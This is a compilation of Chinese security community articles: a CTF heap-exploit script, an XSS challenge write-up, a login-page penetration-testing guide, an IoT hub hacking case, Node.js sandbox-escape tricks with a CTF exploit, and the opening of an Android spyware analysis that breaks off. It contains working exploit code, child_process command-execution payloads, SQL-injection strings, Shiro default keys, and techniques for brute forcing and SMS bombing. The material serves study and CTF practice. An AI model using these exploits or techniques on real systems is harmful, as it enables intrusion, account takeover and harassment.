我们结合题目源代码，可以发现：是通过animallist数组来实现speak函数的，换句话说这个数组存着指向虚表的指针
如果我们，建立两个dog：（完整的exp在后面）
add_dog("a"*8,0)
add_dog("b"*8,1)
那么此时的堆分布是这样的：
由于，这一句代码会造成堆溢出，可以通过堆溢出来实现修改虚表的地址
再接着执行：
remove(0)
fake_vptr = nameofzoo + len(shellcode)
add_dog("c"*72 + p64(fake_vptr),2)
此时堆的分布变成了这样：
通过上面的图已经可以很清楚构造的过程了
接着就只需要去调用一次speak函数就行了，也就是调用一次listen()
完整的exp如下：
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""
if ip:
p = remote(ip,0000)
else:
p = process("./zoo")#, aslr=0
elf = ELF("./zoo")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#------------------------------------- def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
shellcode = asm(shellcraft.sh())
def add_dog(name,weight):
ru(":")
sl("1")
ru(":")
sl(name)
ru(":")
sl(str(weight))
def remove(idx):
ru(":")
sl("5")
ru(":")
sl(str(idx))
def listen(idx):
ru(":")
sl("3")
ru(":")
sl(str(idx))
#gdb.attach(p,"b *0x40193E\nc\n")
nameofzoo = 0x605420
ru(":")
sl(shellcode + p64(nameofzoo))
add_dog("a"*8,0)
add_dog("b"*8,1)
# debug()
remove(0)
# pause()
fake_vptr = nameofzoo + len(shellcode)
add_dog("c"*72 + p64(fake_vptr),2)
#pause()
listen(0)
getshell()
通过接触这题，发现还是得去看看c++的逆向，学会逆一下c++
# 总结
从lab1到lab15，花了我挺多的时间，但学了很多姿势，非常感谢Angelboy大佬
另外他在油管还有几个pwn的教学视频，个人觉得挺不错的，拿出来分享一波
<https://www.youtube.com/channel/UC_PU5Tk6AkDnhQgl5gARObA> | 社区文章 |
2020年7月6日，我在Twitter上宣布了XSS挑战，到目前为止，只有四个人能够解决它，每个人都告诉我他们以前从未听说过挑战中使用这种"奇特"的方式，因此，这里有一篇文章解释了这个"奇特"以及一些背景故事。
[挑战](https://securitymb.github.io/xss/3/)的核心在于以下几行JavaScript：
document.addEventListener("DOMContentLoaded", () => {
for (let attr of document.body.attributes) {
eval(attr.value);
}
});
该代码仅对`<body>`元素的所有属性进行迭代，并将所有这些属性的值作为JavaScript执行。由于挑战中没有其他源，这意味着要解决该问题，需要找到一种方法来将任意属性值注入document.body。那怎么可能呢？
当我注意到HTML规范中一个有趣的代码片段时，一切就开始了。规范的第14部分称为“渲染”，介绍了某些元素的默认样式。例如，它说`<style>`or
`<script>`元素默认情况下不显示（即 display:none）。有趣的是`<body>`的边距是如何确定的？
该表表示，如果`<body>`标签拥有一个名为marginheight的属性，那么它将映射到该元素的CSS属性——margin-top上。如果不存在该属性，则检查topmargin属性。如果也不存在，那么（接下来就很有意思了），如果当前页面位于嵌套的浏览器上下文（就是说在`<frame>`或`<iframe>`）中，浏览器将使用容器元素的marginwidth属性。这种现象在跨域的时候也一样，这是规范中直接允许的：
起初，我认为这是一个历史遗留问题，并且没有哪个现代浏览器实际以这种方式实现它。
## 浏览器行为
为了测试浏览器的行为，我有一个简单的代码，可让我检查是否考虑了该marginwidth属性。
<iframe src="https://sekurak.pl/.htaccess" marginwidth="100px"></iframe>
### Chromium
在Chromium中，该marginwidth属性反映在`<body>`元素中，但在赋值之前已被强制转换为整数。有趣的是Chromium会监听此值的更改，因此，如果您动态更改它，它也会反映在iframe中。这是一个例子：
<style>
iframe, input {
width:400px;
}
</style>
<iframe id=ifr src="https://sekurak.pl/.htaccess" marginwidth="0"></iframe>
<br>
<input type=range
min=0
max=500
value=0
oninput="ifr.setAttribute('marginwidth', this.value)">
### Firefox
在Firefox中，的值`<iframe
marginwidth>`根本不会反映在嵌套文档DOM树中。但是已将其考虑在内，可以通过进行检索getComputedStyle()。因此，带有滑块的示例的工作方式与Chromium中的完全相同。
### Safari
在Safari中，的值无需任何修改即可`<iframe marginwidth>`反映在嵌套`<body>`元素中。
与Firefox和Chromium相反，Safari不会监听属性的更改，因此滑块示例无法使用
### 挑战解决方案
因此，挑战的解决方案非常简单：
<iframe src="https://securitymb.github.io/xss/3"
marginwidth="alert(document.domain)">
祝贺@terjanq，@shafigullin，@BenHayak和@steike找到了预期的解决方案！
对于那些试图找到解决方案但没有设法解决的人；提示中说："使用Safari 可能会稍微好一点"
## marginwidth/ marginheight作为跨域通信通道
marginwidth/marginheight的"副作用"就在于让跨域有了可能性，在不同的浏览器中有不同的实现方式：
* 在Safari中，通过设置父元素的marginwidth，然后在子元素中观察`<body>`的marginwidth。
* 在Chrome中，通过在父级中逐字节设置marginwidth，并观察`<body marginwidth>`子级中的属性改变
* 在Firefox中，通过在父级中逐字节设置marginwidth，然后在子元素中观察getComputedStyle(document.body).marginLeft。
我实现了它并托管在<https://cdn.sekurak.pl/marginwidth.html：>
## 总结
我认为本文的主要收获是HTML规范仍然包含一些隐藏的"宝石"，这在某些晦涩的攻击中是有可能存在的。
另外，我认为这marginwidth特别适合XS泄漏漏洞，但我找不到可行的方案。
作者: [Michał Bentkowski](https://research.securitum.com/tag/browser-security/)
原文地址：<https://research.securitum.com/marginwidth-marginheight-the-unexpected-cross-origin-communication-channel/> | 社区文章 |
**作者：知道创宇404实验室
时间：2020年8月14日**
2020第八届互联网安全大会（ISC）上，
知道创宇404实验室总监隋刚发表《从数据动态视角看网络空间测绘》的主题演讲，从多个案例入手具体分析，阐明了网络空间测绘的实质性意义。另外也通过汇总
ZoomEye 近 6年的线上IPv4测绘数据，从数据分析的角度看网络空间的变化情况，借此看到一些新的观点和相应的支撑数据。
**有兴趣的同学可以点击[这里](https://isc.360.com/2020/detail.html?vid=105&id=15
"这里")回看视频，以及下载演讲议题PDF：[https://paper.seebug.org/papers/Archive/](https://paper.seebug.org/papers/Archive/2020ISC%E7%A9%BA%E9%97%B4%E6%B5%8B%E7%BB%98%E5%88%86%E8%AE%BA%E5%9D%9B-%E9%9A%8B%E5%88%9A-%E4%BB%8E%E6%95%B0%E6%8D%AE%E5%8A%A8%E6%80%81%E8%A7%86%E8%A7%92%E7%9C%8B%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E6%B5%8B%E7%BB%98.pdf
"https://paper.seebug.org/papers/Archive/")**
* * * | 社区文章 |
### **前言**
我们在进行渗透测试的时候，常常会遇到许多网站站点，而有的网站仅仅是基于一个登陆接口进行处理的。尤其是在内网环境的渗透测试中，客户常常丢给你一个登陆网站页面，没有测试账号，让你自己进行渗透测试，一开始经验不足的话，可能会无从下手。今天就来简单说一下如何在只有一个登陆页面的情况下，来进行渗透测试。
* * *
### **0x00**
在条件允许的情况下，我们可以拿在渗透测试的开始之前拿出我们的扫描器来进行扫描，目前我们最常用的就是AWVS和Nessus，除此之外，我们还可以使用一些别的自动化测试工具，例如Nikto扫描器，Appscan，W3af，以及最近长亭科技的Xray扫描器，都可以试试。尤其是Xray扫描器，据说有许多小伙伴靠它挖到了许多漏洞。
以下是这些工具的一些使用方法，不进行赘述
Nikto https://zhuanlan.zhihu.com/p/70225775
Xray https://chaitin.github.io/xray/#/
W3af https://www.freebuf.com/column/145984.html
Appscan https://zhuanlan.zhihu.com/p/28729371
### **0x01 SQL注入**
**万能密码绕过**
如果我们能够直接绕过登录，来直接访问系统内部资源，那自然是最好不过的了。万能密码就是其中一最好用的一种，虽然存在的可能性不大，但是偶尔也是存在的，稍微尝试一下也不会浪费太多时间。
例如'or 1=1 –
"or "a"="a
万能密码在网上非常多，随便搜一下就有
例如这样，就能直接访问后台
**登录口SQL注入**
有的系统在登录口就存在SQL注入，目前我遇到过比较多的是Oracle以及MySQL的登录口注入，我们可以在登录处先抓一个包，然后根据抓包信息来构造Payload。值得一提的是，有时候我们需要在Burp里修改一下发包格式（change
body encoding），才能成功注入。
在这给个例子：
正常登录报错
加一个引号
修改payload,以此返回数据包不同来判断存在SQL注入。
并且，这类的SQL注入并不罕见，在许多网站中都可以进行尝试，很有可能会存在此漏洞
* * *
### **0x02 明文传输/用户名可枚举/爆破弱口令**
**明文传输**
可能是我们做渗透测试中，最常见的一种漏洞，实际上它并不能算得上是一种漏洞，仅仅只能说是一种不足之处而已，明文传输在网站上随处可见，除了银行网站，很有可能每一个密码都是经过特殊加密然后再进行传输的。
**用户名可枚举**
此漏洞存在主要是因为页面对所输入的账号密码进行的判断所回显的数据不一样，我们可以通过这点来进行用户名的枚举，然后通过枚举后的账户名来进行弱口令的爆破。防御手段的话仅需要将用户名与密码出错的回显变成一样即可，例如用户名或密码出错。
**爆破弱口令**
弱口令可以说是渗透测试中，最最常见，也是危害“最大”的一种漏洞，因为毫无技术性，毫无新意，但是却充满了“破坏性”，尤其是在内网环境中，弱口令更是无处不在。Web页面最常用的爆破工具为Burp，我们通常使用Nmap扫描也可能扫出其他端口存在，例如3389，SSH等。
弱口令爆破工具推荐,详情可看以下，不在赘述：
Hydra：<https://yq.aliyun.com/articles/608406/>
超级弱口令：链接：<https://pan.baidu.com/s/1mkwnxu19Aq-KEVCWOZn99w> 提取码：blj3
复制这段内容后打开百度网盘手机App，操作更方便哦
御剑RDP爆破: <https://github.com/foryujian/yujianrdpcrack>
Bruter: <https://www.uedbox.com/post/8478/>
此外，我们还可以根据网站域名，以及收集的一些信息来进行定制化爆破，例如我在一次内网渗透测试中，发现了管理员的名字缩写为crj，然后我就生成了一堆密码，最后成功登陆账号密码为crj112233。
定制化生成字典： <http://tools.mayter.cn/>
字典： <https://github.com/rootphantomer/Blasting_dictionary>
还有很多字典，可以在网上多收集一些，有时候你离Getshell，仅仅只差一个弱口令。
此外，有时候我们还可能遇到存在默认密码的系统，在这给出一些网上公开的默认账户密码
* * *
### **0x03 扫描**
**目录扫描**
在我看来，这是最好用的目录扫描工具:<https://github.com/maurosoria/dirsearch>
,DirSearch已经成为了我日常渗透工作中密不可分的工具之一，并且我们可以多级别扫描，在枚举子目录的目录，很多时候可以找到突破口。
除此之外，还有御剑：<https://github.com/52stu/-> 也是比较常用的
**JS扫描**
JS文件我们在渗透测试中也是经常用到的东西，有时候我们可以在JS文件中找到我们平时看不到的东西，例如重置密码的JS，发送短信的JS，都是有可能未授权可访问的。JS扫描的话推荐使用JSFind:
<https://github.com/Threezh1/JSFinder>
同时它也会提取页面中的URL，简单举例
**nmap扫描**
Nmap的强大功能能让我们第一时间获取网站的端口信息，而这些端口信息中常常可以给予我们非常大的帮助，例如开放了3389端口，或者一些敏感端口的探测，Nmap的使用方法相比不需要我再多说，每个安全工程师都必须要精通的一种工具，以下是我的一些端口小总结，希望可以给与大家一点儿帮助。
在扫描目录与JS这块，要注意多次爆破，遍历访问多级域名的目录与JS。
我就曾在一个学校网站中，使用Nmap对批量网段的探测，获得了一个登陆网站，并且在网站中遍历目录，获得了一个test页面，最后在这个页面的JS文件中，获取到了一个接口，通过这个接口重置了主登录页面的密码。
* * *
### **0x04 框架漏洞**
寻找CMS，或者网页框架，以及某些厂商的服务存在漏洞
例如Apache中间件组件Shiro反序列化漏洞，这里简单说一下：
需要一个ysoserial.jar <https://github.com/frohoff/ysoserial>
以及默认秘钥
4AvVhmFLUs0KTA3Kprsdag==
2AvVhdsgUs0FSA3SDFAdag==
2AvVhdDFCVdfdfDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
kPH+bIxk5D2deZiIxcaaaA
wGiHplamyXlVB11UXWol8g==
6ZmI6I2j5Y+R5aSn5ZOlAA==
AsfawfsdfaAasdWWW==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
POC
from Crypto.Cipher import AES
from Crypto import Random
from base64 import b64encode
from base64 import b64decode
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
def encrypt(key, text):
IV = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, IV=IV)
data = b64encode(IV + cipher.encrypt(pad(text)))
return data
key= b64decode('2AvVhdsgUs0FSA3SDFAdag==')
print encrypt(key, open('payload.dat','rb').read())
使用方法
1：java -jar ysoserial.jar URLDNS "你的ceye.io或者burp的collaborator
client功能中">payload.dat
2：运行python脚本，生成cookie
3：将cookie复制到burp发包,此时DNSlog就会记录，我们可以再次构造进行命令执行，在这不进行深入。
致远A8-getshell： <https://www.cnblogs.com/dgjnszf/p/11104594.html>
Thinkphp： <https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection>
Struts2: <https://github.com/HatBoy/Struts2-Scan>
weblogic: <https://github.com/rabbitmask/WeblogicScan>
以及各大Java反序列化漏洞等等，这里的漏洞都说不完了。
* * *
### **0x05** 逻辑漏洞
寻找逻辑漏洞，例如忘记密码，任意用户注册
**任意重置密码**
例如
此时客户端会发一个验证码包，我们这是随意输入验证码，发包，返回包。
返回包错误的回显为{"status":0}
将返回包的东西换成{"status":1}
即可重置密码
乌云示例：<http://www.anquan.us/static/bugs/wooyun-2013-039809.html>
**任意用户注册**
爆破注册页面的验证码，即可任意用户注册
同样，这里的验证码如果为四位数的话，有时候也可能存在可爆破，可进行任意用户重置密码
**短信轰炸**
短信轰炸很常见，一般在发送验证码后抓包，不断repeate即可，如果做了一定防护的话，在添加空格，或者特殊符号，或+86等都可以进行绕过
未经过防护的短信爆破十分常见
**不完全的登录**
这个漏洞我找到过一次，就是在登录页面，随意输入任意的账户和密码，然后抓包，修改返回包，骗过前端，从而获得一定的权限，其功能不完善，但是依旧可以看到许多敏感数据。
逻辑漏洞这里要根据不同网站来进行测试，逻辑漏洞的方式多种多样，常常会遇到许多奇怪的姿势，例如cookie某字段为Guest，修改为admin即可更换用户身份的，还需要在日常工作中多加总结。
### **0x06** 禁用JS
**禁用JS插件，查看页面源代码12**
禁用JS和查看源代码，有时候会有意想不到的惊喜。
例如某些重定向，某些权限缺失，在我们未授权进入后台一瞬间，就会重定向回去登录页面，而如果此时我们禁用了JS，则可以进行一定权限的控制。
查看源代码则不用多说，有的不大聪明的程序员可能会在源代码里泄露一些不可告人的秘密，例如测试账号，还有我们可能会找到一些网站的后台结构，以及JS接口。
### **0x07** URL重定向
**URL重定向**
URL重定向是我们渗透测试中非常常见的一个漏洞，一般出现在以下参数里，而登录时常常也有这个URL重定向到后台网站，我们修改这个后台网站的URL即可跳转到任意页面，可用于钓鱼页面的制作
例如 <http://www.aaa.com?url=aHR0cDovL2FkbWluLmFhYS5jb20=>
url后面常会进行base64编码处理
常见URL跳转参数：
redirect
redirect_to
redirect_url
url
jump
jump_to
target
to
link
linkto
Domain
### **0x08** 未授权访问
各种未授权访问，免登录进入后台
未授权访问在这里有更强的大佬总结了，其需要我们对端口进行注意观察。
<https://xz.aliyun.com/t/6103>
### **0x09 验证码问题**
**验证码可修改接受者**
可将A账号的修改密码验证码接受者修改为B，这样A账号的验证码就会发到B的手机上，从而B可以重置A的账号密码
例如A账号moblephone=13333888888 ，这点是可控的，我们修改为moblephone=18888888888,即可收到A账号的重置验证码
**登录验证码可绕过**
可能存在万能验证码0000或者9999，不过此类情况较为罕见。更多的情况为修改返回包，可能会出现可绕过逻辑判断。
**验证码可爆破**
验证码失效的时间过长，并且为纯数字或者过短字符，导致可被爆破。
**验证码回显前端**
有的网站验证码会回显到前端，只需要抓包即可获得验证码
**验证码不刷新**
验证码不会自动刷新，导致我们可一码多次使用，我们只需要输入一次验证码就可以让我们能够开始进行暴力破解。
**验证码识别**
这里使用PKAV的验证码自动识别
链接：<https://pan.baidu.com/s/1-l16Nxse7SqQdgSiPZS2-A> 提取码：szo2
### **0x10 总结**
简单的来说，遇到一个登陆站点，我们需要做的时候有
1、条件允许的情况下开启漏洞扫描
2、敏感信息的探测，例如端口，目录，JS文件
3、爆破弱口令
4、抓包看看是否存在逻辑漏洞，或者SQL注入进行尝试
5、寻找框架漏洞
PS:如果遇到某些大网站的主站登录，例如银行，建议放弃，寻找其他业务，例如招聘站点登录等。 | 社区文章 |
## 0x00 前言
随着物联网 IOT 的飞速发展, 各类嵌入式设备, 路由器安全研究也越来越火. 但因为跟以往纯软件安全研究的要求不同, 这类研究往往需要结合相应的硬件知识.
很多朋友困惑如何开始, 甚至卡在了该选何种工具上. 因此汪汪将会在系列文章中分享一些实战案例和个人经验. 希望能对嵌入式安全研究起到抛砖引玉作用.
在WINKHUB这个案例中我们将使用几款简单的入门工具如万用表; UART 转接头和导线等. 同时将介绍一种通过芯片阻断的方式, 获取系统ROOT 权限.
这种方法是俗称边信道攻击中最容易上手的一种. 汪汪希望可以借此小文让大家体验下, 并不是所有的边信道攻击都那么的高不可攀.
## 0x01必备神器UART转接头
正所谓工欲善其事必先利其器, 拥有得心应手的辅助工具, 对我们研究嵌入式设备安全将起到事半功倍的作用.
而说起嵌入式设备不管是开发还是安全研究,都会用到这个UART转接头.
(如图所示: 各类UART 转接头)
Baudrate
## 0x02 WINKHUB 物联网关
终于到今天的主角上场了, 本次的攻击目标是这款名为WINKHUB 的物联网关. 你是否好奇为何需要此类网关设备呢? 玩过IOT设备的朋友就会发现,
现有的IOT产品仅同时支持1到2种互联方式. 比如Philips的HUE智能灯系列采用Zigbee作为联接技术.
而用户若是想把HUE跟使用Bluetooth的智能门锁互联,还需要在添加额外设备. 这从用户体验的角度上来说是非常不方便的.
而WINKHUB网关的优势就在于其同时支持WIFI; Bluetooth4.0; Zigbee; Z-Wave 和 RF 等主流的IOT 联接方式.
换句话说用户只需要买一个这样的网关, 就不用担心不同IOT产品间的兼容问题.![img]
然而成也萧何，败也萧何. WINKHUB 在功能上的优势, 也给攻击者提供了更多的攻击向量. 作为一款智能网关以往家用路由器上的安全隐患也依然存在.
譬如在早期的固件版本中就存在Command execution 漏洞 (set_dev_value.php). 而在官方修复的新版本中又被发现了SQL
Injection漏洞.
图上为包含Command execution 漏洞的PHP 代码段. 通过此漏洞我们可以root 权限执行任何系统命令. 比如读取shadow
文件.![img]
(视频演示 WinkHubVuln1）
## 0x03 边信道 (NAND Glitch)
这里必须夸奖下WINKHUB的厂商,他们通过软件升级的方式迅速修复了这几个漏洞. 但对厂商来说, 还有一种攻击方式却没那么容易修复.
这便是用硬件芯片作为切入点, 通过边信道攻击来得到ROOT权限.
有很多朋友一提到边信道攻击，就觉得是个特别高大上. 其实边信道攻击也分好几种方式. 除了大家普遍了解的信息泄露之外, 错误注入攻击(Fault
Glitch) 也是很常见的一种攻击方式.
## x04 NAND Glitch 实战
(视频演示 WinkHubVuln2）
## 0X05 总结
通过这个案例, 相信大家对嵌入式攻击方式有了更多的了解. 同时汪汪也希望在开发一款嵌入式设备的时候, 开发者们也可以多从攻击者的角度考虑. “Think
like an attacker” 绝不仅仅是说说而已, 因为剑走偏锋, 逆其道行之. 攻击者往往会从你想不到的地方作为攻击点.
## 0x06 参考文献
<http://www.wink.com/products/wink-hub/>
<https://www.exploitee.rs/index.php/Wink_Hub> | 社区文章 |
最近发觉nodejs的一些特性很有意思，对此进行一番小结，有不足之处请师傅们补充。
## 原型链
源自JavaScript的原型继承模型。
### prototype(原型)
几乎js的所有对象都是Object的实例，我们没办法使用class自写一个类。js中只剩下对象，我们可以从一个函数中创建一个对象ob：
function testfn() {
this.a = 1;
this.b = 2;
}
var ob = new testfn()
而从原始类型中创建对象为：
a = "test";
b = 1;
c = false
这就是js被称为弱类型的原因，这一点与php、python类似，但又不相同，比如就null来说，php和python有一个专门的类型，对php来说是NULL类型，而python中没有null，取而代之的是none，同样的其为NontType；但对于js来说不一样，引一段代码来说话：
console.log(typeof(null))
//输出 object
而我们的null被称为原型对象，也就是万事万物的源点。
再谈谈js的数据类型，其大致分为两大类，一为基本类型，二为引用类型：
基本类型有：String、Number、boolean、null、undefined。
引用类型有：Object、Array、RegExp、Date、Function。
就数据类型来说，事实上也是JavaScript中的内置对象，也就是说JavaScript没有类的概念，只有对象。对于对象
来说，我们可以通过如下三种方式访问其原型：
function testfn() {
this.a = 1;
this.b = 2;
}
var ob = new testfn()
//function
console.log(testfn["__proto__"])
console.log(testfn.__proto__)
console.log(testfn.constructor.prototype)
//object
console.log(ob["__proto__"])
console.log(ob.__proto__)
console.log(ob.constructor.prototype)
//tip:
//ob.__proto__ == testfn.prototype
### 示例
下面再看一个关于prototype(原型)用法的例子：
Array.prototype.test = function test(){
console.log("Come from prototype")
}
a = []
a.test()
//输出 Come from prototype
若是以java这种强类型语言对于类的定义来解释，我们可以把prototype看作是一个类的一个属性，而该属性指向了本类的父类，
`Array.prototype.test`即是给父类的test添加了一个test方法，当任何通过Array实例化的对象都会拥有test方法，即子类继承父类的非私有属性，所以当重新定义了父类中的属性时，其他通过子类实例化的对象也会拥有该属性，只能说是类似于上述解释，但不可完全以上述解释来解释原型，因为js对于类的定义有些模糊。
console.log([].__proto__)
console.log([].__proto__.__proto__)
console.log([].__proto__.__proto__.__proto__)
其原型链如下：
> [] -> Array -> Object -> null
原型链的网上资料很多就不多讲了。
## 弱类型
### 大小比较
这个类似与php，这个就很多啦，直接看代码示例理解更快：
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false
总结：数字与字符串比较时，会优先将纯数字型字符串转为数字之后再进行比较；而字符串与字符串比较时，会将字符串的第一个字符转为ASCII码之后再进行比较，因此就会出现第五行代码的这种情况；而非数字型字符串与任何数字进行比较都是false。
数组的比较：
console.log([]==[]); //false
console.log([]>[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false
总结：空数组之间比较永远为false，数组之间比较只比较数组间的第一个值，对第一个值采用前面总结的比较方法，数组与非数值型字符串比较，数组永远小于非数值型字符串；数组与数值型字符串比较，取第一个之后按前面总结的方法进行比较。
还有一些比较特别的相等：
console.log(null==undefined) // 输出：true
console.log(null===undefined) // 输出：false
console.log(NaN==NaN) // 输出：false
console.log(NaN===NaN) // 输出：false
### 变量拼接
console.log(5+[6,6]); //56,3
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
## 模块加载与命令执行
在一些沙盒逃逸时我们通常是找到一个可以执行任意命令的payload，若是在ctf比赛中，我们需要getflag时通常是需要想尽办法加载模块来达成特殊要求。
比赛中常见可以通过child_process模块来加载模块，获得exec，execfile，execSync。
* 通过require加载模块如下：
require('child_process').exec('calc');
* 通过global对象加载模块
global.process.mainModule.constructor._load('child_process').exec('calc');
对于一些上下文中没有require的情况下，通常是想办法使用后者来加载模块，事实上，node的Function(...)并不能找到require这个函数。
有些情况下可以直接用require，如eval。
## 代码执行
eval("require('child_process').exec('calc');");
setInterval(require('child_process').exec,1000,"calc");
setTimeout(require('child_process').exec,1000,"calc");
Function("global.process.mainModule.constructor._load('child_process').exec('calc')")();
这里可以发现对于Function来说上下文并不存在require，需要从global中一路调出来exec。
## 大小写特性
这个p神发过啦，简单易懂。
总结下来就是有两个奇特的字符"ı"、"ſ"，还有一个K的加粗版，前两个用toUpperCase可以分别转为'I'和'S'，后一个使用toLowerCase可以转为小写的k。
p神的文章：[Fuzz中的javascript大小写特性](https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html)
## ES6模板字符串
我们可以使用反引号替代括号执行函数，如:
alert`test!!`
可以用反引号替代单引号双引号，可以在反引号内插入变量，如：
var fruit = "apple";
console.log`i like ${fruit} very much`;
事实上，模板字符串是将我们的字符串作为参数传入函数中，而该参数是一个数组，该数组会在遇到`${}`时将字符串进行分割，具体为下：
["i like ", " very much", raw: Array(2)]
0: "i like "
1: " very much"
length: 2
raw: (2) ["i like ", " very much"]
__proto__: Array(0)
所以有时使用反引号执行会失败，所以如下是无法执行的：
eval`alert(2)`
## 实战
这道题取自NPUCTF的验证码，发现这道题挺好，用来入门nodejs挺好，首先给出源码：
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');
const fs = require('fs');
const crypto = require('crypto');
const keys = require('./key.js').keys;
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦，上次的库太垃圾，我自己写了一个
const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿，
keys
}));
Object.freeze(Object);
Object.freeze(Math);
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码，用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
首先看到saferEval函数，我们看到只要绕过正则之后就可以利用在代码执行处所说的eval来执行代码；在此之前看看调用了saferEval的地方，这里要绕过就需要利用到前面说的弱类型了：
if (first && second && first.length === second.length && first!==second &&md5(first+keys[0]) === md5(second+keys[0]))
first和second都是我们可控的，这里要我们first和second不相等但长度又需要相等，同时还要在最后加上key之后进行md5要相等，要符合一系列条件较难，然而弱类型帮了一把。
md5处使用了变量的拼接，因此我们可以利用类似`'a'+key[0]==['a']+key[0]`进行绕过，而且关键在于first和second的比较使用了`!===`。这也给绕过提供了帮助。
抓包时候会发现是默认请求类型是x-www-form-urlencoded，无法传输数组，但因为这里使用了`body-parser`模块内的json，因此可以改下头application/json。
#-*- coding:utf-8 -*- #__author__: HhhM
import requests
import json
print("Start the program:")
url = "http://xxx/"
headers = {"Content-Type": "application/json"}
data = json.dumps({'e': "1+1", "first": [1], "second": "1"})
r = requests.post(url, headers=headers, data=data)
print(r.text)
输出为2，证明前面成功绕过了，接下来考虑`saferEval`，看看正则：
str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')
我们需要让我们的正则符合他的要求，利用前两个正则我们可以构造出如：
`(Math)`，`Math.xxx(xxx)`
也支持使用arrow
function（箭头函数），我们可以使用箭头函数配合Math通过原型获取到Function，使用我上面提到的Function，通过global一路调出来exec执行任意命令。
Math=>(Math=Math.constructor,Math.constructor)
这样虽然可以得到Function，但限于正则我们无法执行命令，这里绕过采用String.fromCharCode，String可以通过变量拼接拼接出一个字符串，再调用constructor获取到String对象。
因此exp如下:
#-*- coding:utf-8 -*- #__author__: HhhM
import requests
import json
import re
def payload():
s = "return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')"
return ','.join([str(ord(i)) for i in s])
a = payload()
print("Start the program:")
url = "http://xxx/"
headers = {"Content-Type": "application/json"}
e = "(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({0}))()))(Math+1)".format(a)
data = json.dumps({'e': e, "first": [1], "second": "1"})
r = requests.post(url, headers=headers, data=data)
print(r.text)
## 一些无关紧要的点
* let不能声明一个已经存在的变量，会导致报错，暂存死区了解一下。
* `console.log(typeof(NaN))`输出为number。 | 社区文章 |
本文翻译自：<https://labs.bitdefender.com/wp-content/uploads/downloads/triout-the-malware-framework-for-android-that-packs-potent-spyware-capabilities/>
* * *
Bitdefender的研究人员发现一款安卓恶意软件，将多个监视功能融入到一个框架内，还让人误以为是非恶意的应用程序。该恶意软件捆绑了一个重打包的应用，间谍软件的监视功能包括隐藏设备、对通话进行录音、记录短信日志、录音、拍照、收集GPS信息，并将收集的信息广播给攻击者控制的C2服务器。
有趣的是该监视恶意软件最早是俄罗斯报告的，但主要的报告来源于以色列。
# 概览
该恶意软件2018年5月15日被用户上传到VirusTotal。该应用看起来是对“com.xapps.SexGameForAdults” (MD5:
51df2597faa3fce38a4c5ae024f97b1c)和恶意的208822308.apk文件的重打包版本。原始APP 2016年在Google
Play上就有了，但目前已被移除。因此不清楚恶意样本是如何传播的，可能是第三方或攻击者控制的域名保存了该样本。
Bitdefender的机器学习算法检测到该样本后，之后的调查分析发现该间谍软件拥有下面的能力：
* 记录每个通话的内容，保存为media文件，然后发送含有呼叫者id的数据到C2服务器；
* 记录收到的SMS消息（内容和发送者），并发送给C2；
* 隐藏自己；
* 发送所有通过记录（`“content://call_log/calls”, info: callname, callnum, calldate, calltype, callduration`）到C2；
* 用户拍照后，发送照片到C2；
* 发送GPS坐标到C2；
该样本没有使用任何的混淆结束，也就是说解包`.apk`文件后，就可以访问全部的源代码。这也说明该框架可能仍在开发中，开发者可能正在测试特征以及与设备的兼容性。
应用发送收集数据的C2服务器是自2018年5月开始运行的。
## 不同点
